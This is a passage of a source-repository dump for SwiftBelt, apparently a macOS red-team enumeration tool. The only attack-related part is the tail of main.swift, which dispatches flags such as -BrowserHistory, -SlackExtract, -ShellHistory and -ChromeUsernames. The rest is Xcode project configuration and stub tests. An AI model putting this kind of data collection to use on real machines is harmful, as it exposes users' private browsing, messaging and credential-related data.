argument.contains("-RunningApps"){ 1405 | RunningApps() 1406 | } 1407 | if argument.contains("-ListUsers"){ 1408 | ListUsers() 1409 | } 1410 | if argument.contains("-LaunchAgents"){ 1411 | LaunchAgents() 1412 | } 1413 | if argument.contains("-BrowserHistory"){ 1414 | BrowserHistory() 1415 | } 1416 | if argument.contains("-SlackExtract"){ 1417 | SlackExtract() 1418 | } 1419 | if argument.contains("-ShellHistory"){ 1420 | ShellHistory() 1421 | } 1422 | if argument.contains("-UniversalAccessAuth"){ 1423 | UnivAccessAuth() 1424 | } 1425 | 1426 | if argument.contains("-Bookmarks"){ 1427 | Bookmarks() 1428 | } 1429 | 1430 | if argument.contains("-ChromeUsernames"){ 1431 | ChromeUsernames() 1432 | } 1433 | 1434 | if argument.contains("-StickieNotes"){ 1435 | StickieNotes() 1436 | } 1437 | 1438 | if argument.contains("-TextEditCheck"){ 1439 | TextEditCheck() 1440 | } 1441 | 1442 | if argument.contains("-JupyterCheck"){ 1443 | JupyterCheck() 1444 | } 1445 | 1446 | 1447 | 1448 | 1449 | } 1450 | 1451 | } 1452 | } 1453 | -------------------------------------------------------------------------------- /SwiftBelt.xcodeproj/SwiftBeltTests_Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CFBundleDevelopmentRegion 5 | en 6 | CFBundleExecutable 7 | $(EXECUTABLE_NAME) 8 | CFBundleIdentifier 9 | $(PRODUCT_BUNDLE_IDENTIFIER) 10 | CFBundleInfoDictionaryVersion 11 | 6.0 12 | CFBundleName 13 | $(PRODUCT_NAME) 14 | CFBundlePackageType 15 | BNDL 16 | CFBundleShortVersionString 17 | 1.0 18 | CFBundleSignature 19 | ???? 20 | CFBundleVersion 21 | $(CURRENT_PROJECT_VERSION) 22 | NSPrincipalClass 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /SwiftBelt.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = "1"; 4 | objectVersion = "46"; 5 | objects = { 6 | "OBJ_1" = { 7 | isa = "PBXProject"; 8 | attributes = { 9 | LastSwiftMigration = "9999"; 10 | LastUpgradeCheck = "9999"; 11 | }; 12 | buildConfigurationList = "OBJ_2"; 13 | compatibilityVersion = "Xcode 3.2"; 14 | developmentRegion = "en"; 15 | hasScannedForEncodings = "0"; 16 | knownRegions = ( 17 | "en" 18 | ); 19 | mainGroup = "OBJ_5"; 20 | productRefGroup = "OBJ_14"; 21 | projectDirPath = "."; 22 | targets = ( 23 | "SwiftBelt::SwiftBelt", 24 | "SwiftBelt::SwiftPMPackageDescription", 25 | "SwiftBelt::SwiftBeltPackageTests::ProductTarget", 26 | "SwiftBelt::SwiftBeltTests" 27 | ); 28 | }; 29 | "OBJ_10" = { 30 | isa = "PBXGroup"; 31 | children = ( 32 | "OBJ_11" 33 | ); 34 | name = "Tests"; 35 | path = ""; 36 | sourceTree = "SOURCE_ROOT"; 37 | }; 38 | "OBJ_11" = { 39 | isa = "PBXGroup"; 40 | children = ( 41 | "OBJ_12", 42 | "OBJ_13" 43 | ); 44 | name = "SwiftBeltTests"; 45 | path = "Tests/SwiftBeltTests"; 46 | sourceTree = "SOURCE_ROOT"; 47 | }; 48 | "OBJ_12" = { 49 | isa = "PBXFileReference"; 50 | path = "SwiftBeltTests.swift"; 51 | sourceTree = ""; 52 | }; 53 | "OBJ_13" = { 54 | isa = "PBXFileReference"; 55 | path = "XCTestManifests.swift"; 56 | sourceTree = ""; 57 | }; 58 | "OBJ_14" = { 59 | isa = "PBXGroup"; 60 | children = ( 61 | "SwiftBelt::SwiftBeltTests::Product", 62 | "SwiftBelt::SwiftBelt::Product" 63 | ); 64 | name = "Products"; 65 | path = ""; 66 | sourceTree = "BUILT_PRODUCTS_DIR"; 67 | }; 68 | "OBJ_18" = { 69 | isa = "XCConfigurationList"; 70 | buildConfigurations = ( 71 | "OBJ_19", 72 | "OBJ_20" 73 | ); 74 | defaultConfigurationIsVisible = "0"; 75 | defaultConfigurationName = "Release"; 76 | }; 77 | "OBJ_19" = { 78 | isa = "XCBuildConfiguration"; 79 | buildSettings = { 80 | FRAMEWORK_SEARCH_PATHS = ( 81 | "$(inherited)", 82 | "$(PLATFORM_DIR)/Developer/Library/Frameworks" 83 | ); 84 | HEADER_SEARCH_PATHS = ( 85 | "$(inherited)" 86 | ); 87 | INFOPLIST_FILE = "SwiftBelt.xcodeproj/SwiftBelt_Info.plist"; 88 | IPHONEOS_DEPLOYMENT_TARGET = "8.0"; 89 | LD_RUNPATH_SEARCH_PATHS = ( 90 | "$(inherited)", 91 | "$(TOOLCHAIN_DIR)/usr/lib/swift/macosx", 92 | "@executable_path" 93 | ); 94 | MACOSX_DEPLOYMENT_TARGET = "10.10"; 95 | OTHER_CFLAGS = ( 96 | "$(inherited)" 97 | ); 98 | OTHER_LDFLAGS = ( 99 | "$(inherited)" 100 | ); 101 | OTHER_SWIFT_FLAGS = ( 102 | "$(inherited)" 103 | ); 104 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = ( 105 | "$(inherited)" 106 | ); 107 | SWIFT_FORCE_DYNAMIC_LINK_STDLIB = "YES"; 108 | SWIFT_FORCE_STATIC_LINK_STDLIB = "NO"; 109 | SWIFT_VERSION = "5.0"; 110 | TARGET_NAME = "SwiftBelt"; 111 | TVOS_DEPLOYMENT_TARGET = "9.0"; 112 | WATCHOS_DEPLOYMENT_TARGET = "2.0"; 113 | }; 114 | name = "Debug"; 115 | }; 116 | "OBJ_2" = { 117 | isa = "XCConfigurationList"; 118 | buildConfigurations = ( 119 | "OBJ_3", 120 | "OBJ_4" 121 | ); 122 | defaultConfigurationIsVisible = "0"; 123 | defaultConfigurationName = "Release"; 124 | }; 125 | "OBJ_20" = { 126 | isa = "XCBuildConfiguration"; 127 | buildSettings = { 128 | FRAMEWORK_SEARCH_PATHS = ( 129 | "$(inherited)", 130 | "$(PLATFORM_DIR)/Developer/Library/Frameworks" 131 | ); 132 | HEADER_SEARCH_PATHS = ( 133 | "$(inherited)" 134 | ); 135 | INFOPLIST_FILE = "SwiftBelt.xcodeproj/SwiftBelt_Info.plist"; 136 | IPHONEOS_DEPLOYMENT_TARGET = "8.0"; 137 | LD_RUNPATH_SEARCH_PATHS = ( 138 | "$(inherited)", 139 | "$(TOOLCHAIN_DIR)/usr/lib/swift/macosx", 140 | "@executable_path" 141 | ); 142 | MACOSX_DEPLOYMENT_TARGET = "10.10"; 143 | OTHER_CFLAGS = ( 144 | "$(inherited)" 145 | ); 146 | OTHER_LDFLAGS = ( 147 | "$(inherited)" 148 | ); 149 | OTHER_SWIFT_FLAGS = ( 150 | "$(inherited)" 151 | ); 152 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = ( 153 | "$(inherited)" 154 | ); 155 | SWIFT_FORCE_DYNAMIC_LINK_STDLIB = "YES"; 156 | SWIFT_FORCE_STATIC_LINK_STDLIB = "NO"; 157 | SWIFT_VERSION = "5.0"; 158 | TARGET_NAME = "SwiftBelt"; 159 | TVOS_DEPLOYMENT_TARGET = "9.0"; 160 | WATCHOS_DEPLOYMENT_TARGET = "2.0"; 161 | }; 162 | name = "Release"; 163 | }; 164 | "OBJ_21" = { 165 | isa = "PBXSourcesBuildPhase"; 166 | files = ( 167 | "OBJ_22" 168 | ); 169 | }; 170 | "OBJ_22" = { 171 | isa = "PBXBuildFile"; 172 | fileRef = "OBJ_9"; 173 | }; 174 | "OBJ_23" = { 175 | isa = "PBXFrameworksBuildPhase"; 176 | files = ( 177 | ); 178 | }; 179 | "OBJ_25" = { 180 | isa = "XCConfigurationList"; 181 | buildConfigurations = ( 182 | "OBJ_26", 183 | "OBJ_27" 184 | ); 185 | defaultConfigurationIsVisible = "0"; 186 | defaultConfigurationName = "Release"; 187 | }; 188 | "OBJ_26" = { 189 | isa = "XCBuildConfiguration"; 190 | buildSettings = { 191 | LD = "/usr/bin/true"; 192 | OTHER_SWIFT_FLAGS = ( 193 | "-swift-version", 194 | "5", 195 | "-I", 196 | "$(TOOLCHAIN_DIR)/usr/lib/swift/pm/4_2", 197 | "-target", 198 | "x86_64-apple-macosx10.10", 199 | "-sdk", 200 | "/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk", 201 | "-package-description-version", 202 | "5.2.0" 203 | ); 204 | SWIFT_VERSION = "5.0"; 205 | }; 206 | name = "Debug"; 207 | }; 208 | "OBJ_27" = { 209 | isa = "XCBuildConfiguration"; 210 | buildSettings = { 211 | LD = "/usr/bin/true"; 212 | OTHER_SWIFT_FLAGS = ( 213 | "-swift-version", 214 | "5", 215 | "-I", 216 | "$(TOOLCHAIN_DIR)/usr/lib/swift/pm/4_2", 217 | "-target", 218 | "x86_64-apple-macosx10.10", 219 | "-sdk", 220 | "/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.15.sdk", 221 | "-package-description-version", 222 | "5.2.0" 223 | ); 224 | SWIFT_VERSION = "5.0"; 225 | }; 226 | name = "Release"; 227 | }; 228 | "OBJ_28" = { 229 | isa = "PBXSourcesBuildPhase"; 230 | files = ( 231 | "OBJ_29" 232 | ); 233 | }; 234 | "OBJ_29" = { 235 | isa = "PBXBuildFile"; 236 | fileRef = "OBJ_6"; 237 | }; 238 | "OBJ_3" = { 239 | isa = "XCBuildConfiguration"; 240 | buildSettings = { 241 | CLANG_ENABLE_OBJC_ARC = "YES"; 242 | COMBINE_HIDPI_IMAGES = "YES"; 243 | COPY_PHASE_STRIP = "NO"; 244 | DEBUG_INFORMATION_FORMAT = "dwarf"; 245 | DYLIB_INSTALL_NAME_BASE = "@rpath"; 246 | ENABLE_NS_ASSERTIONS = "YES"; 247 | GCC_OPTIMIZATION_LEVEL = "0"; 248 | GCC_PREPROCESSOR_DEFINITIONS = ( 249 | "$(inherited)", 250 | "SWIFT_PACKAGE=1", 251 | "DEBUG=1" 252 | ); 253 | MACOSX_DEPLOYMENT_TARGET = "10.10"; 254 | ONLY_ACTIVE_ARCH = "YES"; 255 | OTHER_SWIFT_FLAGS = ( 256 | "$(inherited)", 257 | "-DXcode" 258 | ); 259 | PRODUCT_NAME = "$(TARGET_NAME)"; 260 | SDKROOT = "macosx"; 261 | SUPPORTED_PLATFORMS = ( 262 | "macosx", 263 | "iphoneos", 264 | "iphonesimulator", 265 | "appletvos", 266 | "appletvsimulator", 267 | "watchos", 268 | "watchsimulator" 269 | ); 270 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = ( 271 | "$(inherited)", 272 | "SWIFT_PACKAGE", 273 | "DEBUG" 274 | ); 275 | SWIFT_OPTIMIZATION_LEVEL = "-Onone"; 276 | USE_HEADERMAP = "NO"; 277 | }; 278 | name = "Debug"; 279 | }; 280 | "OBJ_31" = { 281 | isa = "XCConfigurationList"; 282 | buildConfigurations = ( 283 | "OBJ_32", 284 | "OBJ_33" 285 | ); 286 | defaultConfigurationIsVisible = "0"; 287 | defaultConfigurationName = "Release"; 288 | }; 289 | "OBJ_32" = { 290 | isa = "XCBuildConfiguration"; 291 | buildSettings = { 292 | }; 293 | name = "Debug"; 294 | }; 295 | "OBJ_33" = { 296 | isa = "XCBuildConfiguration"; 297 | buildSettings = { 298 | }; 299 | name = "Release"; 300 | }; 301 | "OBJ_34" = { 302 | isa = "PBXTargetDependency"; 303 | target = "SwiftBelt::SwiftBeltTests"; 304 | }; 305 | "OBJ_36" = { 306 | isa = "XCConfigurationList"; 307 | buildConfigurations = ( 308 | "OBJ_37", 309 | "OBJ_38" 310 | ); 311 | defaultConfigurationIsVisible = "0"; 312 | defaultConfigurationName = "Release"; 313 | }; 314 | "OBJ_37" = { 315 | isa = "XCBuildConfiguration"; 316 | buildSettings = { 317 | CLANG_ENABLE_MODULES = "YES"; 318 | EMBEDDED_CONTENT_CONTAINS_SWIFT = "YES"; 319 | FRAMEWORK_SEARCH_PATHS = ( 320 | "$(inherited)", 321 | "$(PLATFORM_DIR)/Developer/Library/Frameworks" 322 | ); 323 | HEADER_SEARCH_PATHS = ( 324 | "$(inherited)" 325 | ); 326 | INFOPLIST_FILE = "SwiftBelt.xcodeproj/SwiftBeltTests_Info.plist"; 327 | IPHONEOS_DEPLOYMENT_TARGET = "8.0"; 328 | LD_RUNPATH_SEARCH_PATHS = ( 329 | "$(inherited)", 330 | "@loader_path/../Frameworks", 331 | "@loader_path/Frameworks" 332 | ); 333 | MACOSX_DEPLOYMENT_TARGET = "10.10"; 334 | OTHER_CFLAGS = ( 335 | "$(inherited)" 336 | ); 337 | OTHER_LDFLAGS = ( 338 | "$(inherited)" 339 | ); 340 | OTHER_SWIFT_FLAGS = ( 341 | "$(inherited)" 342 | ); 343 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = ( 344 | "$(inherited)" 345 | ); 346 | SWIFT_VERSION = "5.0"; 347 | TARGET_NAME = "SwiftBeltTests"; 348 | TVOS_DEPLOYMENT_TARGET = "9.0"; 349 | WATCHOS_DEPLOYMENT_TARGET = "2.0"; 350 | }; 351 | name = "Debug"; 352 | }; 353 | "OBJ_38" = { 354 | isa = "XCBuildConfiguration"; 355 | buildSettings = { 356 | CLANG_ENABLE_MODULES = "YES"; 357 | EMBEDDED_CONTENT_CONTAINS_SWIFT = "YES"; 358 | FRAMEWORK_SEARCH_PATHS = ( 359 | "$(inherited)", 360 | "$(PLATFORM_DIR)/Developer/Library/Frameworks" 361 | ); 362 | HEADER_SEARCH_PATHS = ( 363 | "$(inherited)" 364 | ); 365 | INFOPLIST_FILE = "SwiftBelt.xcodeproj/SwiftBeltTests_Info.plist"; 366 | IPHONEOS_DEPLOYMENT_TARGET = "8.0"; 367 | LD_RUNPATH_SEARCH_PATHS = ( 368 | "$(inherited)", 369 | "@loader_path/../Frameworks", 370 | "@loader_path/Frameworks" 371 | ); 372 | MACOSX_DEPLOYMENT_TARGET = "10.10"; 373 | OTHER_CFLAGS = ( 374 | "$(inherited)" 375 | ); 376 | OTHER_LDFLAGS = ( 377 | "$(inherited)" 378 | ); 379 | OTHER_SWIFT_FLAGS = ( 380 | "$(inherited)" 381 | ); 382 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = ( 383 | "$(inherited)" 384 | ); 385 | SWIFT_VERSION = "5.0"; 386 | TARGET_NAME = "SwiftBeltTests"; 387 | TVOS_DEPLOYMENT_TARGET = "9.0"; 388 | WATCHOS_DEPLOYMENT_TARGET = "2.0"; 389 | }; 390 | name = "Release"; 391 | }; 392 | "OBJ_39" = { 393 | isa = "PBXSourcesBuildPhase"; 394 | files = ( 395 | "OBJ_40", 396 | "OBJ_41" 397 | ); 398 | }; 399 | "OBJ_4" = { 400 | isa = "XCBuildConfiguration"; 401 | buildSettings = { 402 | CLANG_ENABLE_OBJC_ARC = "YES"; 403 | COMBINE_HIDPI_IMAGES = "YES"; 404 | COPY_PHASE_STRIP = "YES"; 405 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 406 | DYLIB_INSTALL_NAME_BASE = "@rpath"; 407 | GCC_OPTIMIZATION_LEVEL = "s"; 408 | GCC_PREPROCESSOR_DEFINITIONS = ( 409 | "$(inherited)", 410 | "SWIFT_PACKAGE=1" 411 | ); 412 | MACOSX_DEPLOYMENT_TARGET = "10.10"; 413 | OTHER_SWIFT_FLAGS = ( 414 | "$(inherited)", 415 | "-DXcode" 416 | ); 417 | PRODUCT_NAME = "$(TARGET_NAME)"; 418 | SDKROOT = "macosx"; 419 | SUPPORTED_PLATFORMS = ( 420 | "macosx", 421 | "iphoneos", 422 | "iphonesimulator", 423 | "appletvos", 424 | "appletvsimulator", 425 | "watchos", 426 | "watchsimulator" 427 | ); 428 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = ( 429 | "$(inherited)", 430 | "SWIFT_PACKAGE" 431 | ); 432 | SWIFT_OPTIMIZATION_LEVEL = "-Owholemodule"; 433 | USE_HEADERMAP = "NO"; 434 | }; 435 | name = "Release"; 436 | }; 437 | "OBJ_40" = { 438 | isa = "PBXBuildFile"; 439 | fileRef = "OBJ_12"; 440 | }; 441 | "OBJ_41" = { 442 | isa = "PBXBuildFile"; 443 | fileRef = "OBJ_13"; 444 | }; 445 | "OBJ_42" = { 446 | isa = "PBXFrameworksBuildPhase"; 447 | files = ( 448 | ); 449 | }; 450 | "OBJ_43" = { 451 | isa = "PBXTargetDependency"; 452 | target = "SwiftBelt::SwiftBelt"; 453 | }; 454 | "OBJ_5" = { 455 | isa = "PBXGroup"; 456 | children = ( 457 | "OBJ_6", 458 | "OBJ_7", 459 | "OBJ_10", 460 | "OBJ_14" 461 | ); 462 | path = ""; 463 | sourceTree = ""; 464 | }; 465 | "OBJ_6" = { 466 | isa = "PBXFileReference"; 467 | explicitFileType = "sourcecode.swift"; 468 | path = "Package.swift"; 469 | sourceTree = ""; 470 | }; 471 | "OBJ_7" = { 472 | isa = "PBXGroup"; 473 | children = ( 474 | "OBJ_8" 475 | ); 476 | name = "Sources"; 477 | path = ""; 478 | sourceTree = "SOURCE_ROOT"; 479 | }; 480 | "OBJ_8" = { 481 | isa = "PBXGroup"; 482 | children = ( 483 | "OBJ_9" 484 | ); 485 | name = "SwiftBelt"; 486 | path = "Sources/SwiftBelt"; 487 | sourceTree = "SOURCE_ROOT"; 488 | }; 489 | "OBJ_9" = { 490 | isa = "PBXFileReference"; 491 | path = "main.swift"; 492 | sourceTree = ""; 493 | }; 494 | "SwiftBelt::SwiftBelt" = { 495 | isa = "PBXNativeTarget"; 496 | buildConfigurationList = "OBJ_18"; 497 | buildPhases = ( 498 | "OBJ_21", 499 | "OBJ_23" 500 | ); 501 | dependencies = ( 502 | ); 503 | name = "SwiftBelt"; 504 | productName = "SwiftBelt"; 505 | productReference = "SwiftBelt::SwiftBelt::Product"; 506 | productType = "com.apple.product-type.tool"; 507 | }; 508 | "SwiftBelt::SwiftBelt::Product" = { 509 | isa = "PBXFileReference"; 510 | path = "SwiftBelt"; 511 | sourceTree = "BUILT_PRODUCTS_DIR"; 512 | }; 513 | "SwiftBelt::SwiftBeltPackageTests::ProductTarget" = { 514 | isa = "PBXAggregateTarget"; 515 | buildConfigurationList = "OBJ_31"; 516 | buildPhases = ( 517 | ); 518 | dependencies = ( 519 | "OBJ_34" 520 | ); 521 | name = "SwiftBeltPackageTests"; 522 | productName = "SwiftBeltPackageTests"; 523 | }; 524 | "SwiftBelt::SwiftBeltTests" = { 525 | isa = "PBXNativeTarget"; 526 | buildConfigurationList = "OBJ_36"; 527 | buildPhases = ( 528 | "OBJ_39", 529 | "OBJ_42" 530 | ); 531 | dependencies = ( 532 | "OBJ_43" 533 | ); 534 | name = "SwiftBeltTests"; 535 | productName = "SwiftBeltTests"; 536 | productReference = "SwiftBelt::SwiftBeltTests::Product"; 537 | productType = "com.apple.product-type.bundle.unit-test"; 538 | }; 539 | "SwiftBelt::SwiftBeltTests::Product" = { 540 | isa = "PBXFileReference"; 541 | path = "SwiftBeltTests.xctest"; 542 | sourceTree = "BUILT_PRODUCTS_DIR"; 543 | }; 544 | "SwiftBelt::SwiftPMPackageDescription" = { 545 | isa = "PBXNativeTarget"; 546 | buildConfigurationList = "OBJ_25"; 547 | buildPhases = ( 548 | "OBJ_28" 549 | ); 550 | dependencies = ( 551 | ); 552 | name = "SwiftBeltPackageDescription"; 553 | productName = "SwiftBeltPackageDescription"; 554 | productType = "com.apple.product-type.framework"; 555 | }; 556 | }; 557 | rootObject = "OBJ_1"; 558 | } 559 | -------------------------------------------------------------------------------- /SwiftBelt.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | -------------------------------------------------------------------------------- /SwiftBelt.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /SwiftBelt.xcodeproj/project.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEWorkspaceSharedSettings_AutocreateContextsIfNeeded 6 | 7 | 8 | -------------------------------------------------------------------------------- /SwiftBelt.xcodeproj/project.xcworkspace/xcuserdata/Cedric.owens.xcuserdatad/UserInterfaceState.xcuserstate: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/SwiftBelt/b84c0ed5d993f1628e9776c0ea8cef81aaf8bfe5/SwiftBelt.xcodeproj/project.xcworkspace/xcuserdata/Cedric.owens.xcuserdatad/UserInterfaceState.xcuserstate -------------------------------------------------------------------------------- /SwiftBelt.xcodeproj/xcshareddata/xcschemes/SwiftBelt-Package.xcscheme: -------------------------------------------------------------------------------- 1 | 2 | 5 | 8 | 9 | 15 | 21 | 22 | 23 | 24 | 25 | 30 | 31 | 33 | 39 | 40 | 41 | 42 | 43 | 53 | 55 | 61 | 62 | 63 | 64 | 70 | 71 | 73 | 74 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /SwiftBelt.xcodeproj/xcshareddata/xcschemes/SwiftBelt.xcscheme: -------------------------------------------------------------------------------- 1 | 2 | 5 | 8 | 9 | 15 | 21 | 22 | 23 | 24 | 25 | 30 | 31 | 33 | 39 | 40 | 41 | 42 | 43 | 53 | 55 | 61 | 62 | 63 | 64 | 70 | 71 | 73 | 74 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /Tests/LinuxMain.swift: -------------------------------------------------------------------------------- 1 | import XCTest 2 | 3 | import SwiftBeltTests 4 | 5 | var tests = [XCTestCaseEntry]() 6 | tests += SwiftBeltTests.allTests() 7 | XCTMain(tests) 8 | -------------------------------------------------------------------------------- /Tests/SwiftBeltTests/SwiftBeltTests.swift: -------------------------------------------------------------------------------- 1 | import XCTest 2 | import class Foundation.Bundle 3 | 4 | final class SwiftBeltTests: XCTestCase { 5 | func testExample() throws { 6 | // This is an example of a functional test case. 7 | // Use XCTAssert and related functions to verify your tests produce the correct 8 | // results. 9 | 10 | // Some of the APIs that we use below are available in macOS 10.13 and above. 11 | guard #available(macOS 10.13, *) else { 12 | return 13 | } 14 | 15 | let fooBinary = productsDirectory.appendingPathComponent("SwiftBelt") 16 | 17 | let process = Process() 18 | process.executableURL = fooBinary 19 | 20 | let pipe = Pipe() 21 | process.standardOutput = pipe 22 | 23 | try process.run() 24 | process.waitUntilExit() 25 | 26 | let data = pipe.fileHandleForReading.readDataToEndOfFile() 27 | let output = String(data: data, encoding: .utf8) 28 | 29 | XCTAssertEqual(output, "Hello, world!\n") 30 | } 31 | 32 | /// Returns path to the built products directory. 33 | var productsDirectory: URL { 34 | #if os(macOS) 35 | for bundle in Bundle.allBundles where bundle.bundlePath.hasSuffix(".xctest") { 36 | return bundle.bundleURL.deletingLastPathComponent() 37 | } 38 | fatalError("couldn't find the products directory") 39 | #else 40 | return Bundle.main.bundleURL 41 | #endif 42 | } 43 | 44 | static var allTests = [ 45 | ("testExample", testExample), 46 | ] 47 | } 48 | -------------------------------------------------------------------------------- /Tests/SwiftBeltTests/XCTestManifests.swift: -------------------------------------------------------------------------------- 1 | import XCTest 2 | 3 | #if !canImport(ObjectiveC) 4 | public func allTests() -> [XCTestCaseEntry] { 5 | return [ 6 | testCase(SwiftBeltTests.allTests), 7 | ] 8 | } 9 | #endif 10 | -------------------------------------------------------------------------------- /sbelthelp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cedowens/SwiftBelt/b84c0ed5d993f1628e9776c0ea8cef81aaf8bfe5/sbelthelp.png --------------------------------------------------------------------------------